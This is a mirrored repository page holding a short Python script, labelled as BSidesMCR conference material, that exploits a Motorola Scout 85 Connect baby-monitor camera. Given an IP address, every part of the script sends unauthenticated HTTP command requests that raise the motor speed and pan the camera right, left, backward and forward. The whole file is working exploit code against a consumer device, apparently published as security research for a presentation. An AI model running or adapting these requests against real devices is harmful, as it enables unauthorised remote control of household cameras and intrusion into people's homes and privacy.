mirror of
https://github.com/mdsecresearch/Publications
synced 2026-06-08 15:50:32 +00:00
dmchell
40 lines
1.1 KiB
Python
Executable File
40 lines
1.1 KiB
Python
Executable File
#!/usr/bin/python
|
|
# BSidesMCR Presentation Material
|
|
# Exploit for Motorola Scout 85 Connect
|
|
# Dominic Chell <dominic [at] mdsec.co.uk>
|
|
|
|
|
|
import time, urllib2
|
|
import sys
|
|
|
|
ip = sys.argv[1]
|
|
|
|
print "[*] Increasing speed on motor"
|
|
response = urllib2.urlopen('http://'+ip+'/?action=command&command=motors_speed&setup=6200048000')
|
|
|
|
|
|
print "[*] Move to the right"
|
|
response = urllib2.urlopen('http://'+ip+'/?action=command&command=move_right9.9')
|
|
time.sleep(5)
|
|
|
|
response = urllib2.urlopen('http://'+ip+'/?action=command&command=lr_stop')
|
|
time.sleep(3)
|
|
|
|
print "[*] Move to the left"
|
|
response = urllib2.urlopen('http://'+ip+'/?action=command&command=move_left9.9')
|
|
time.sleep(5)
|
|
|
|
response = urllib2.urlopen('http://'+ip+'/?action=command&command=lr_stop')
|
|
time.sleep(3)
|
|
|
|
print "[*] Go backwards"
|
|
response = urllib2.urlopen('http://'+ip+'/?action=command&command=move_backward9.9')
|
|
|
|
response = urllib2.urlopen('http://'+ip+'/?action=command&command=lr_stop')
|
|
time.sleep(3)
|
|
|
|
print "[*] Now forwards"
|
|
response = urllib2.urlopen('http://'+ip+'/?action=command&command=move_forward9.9')
|
|
time.sleep(5)
|
|
|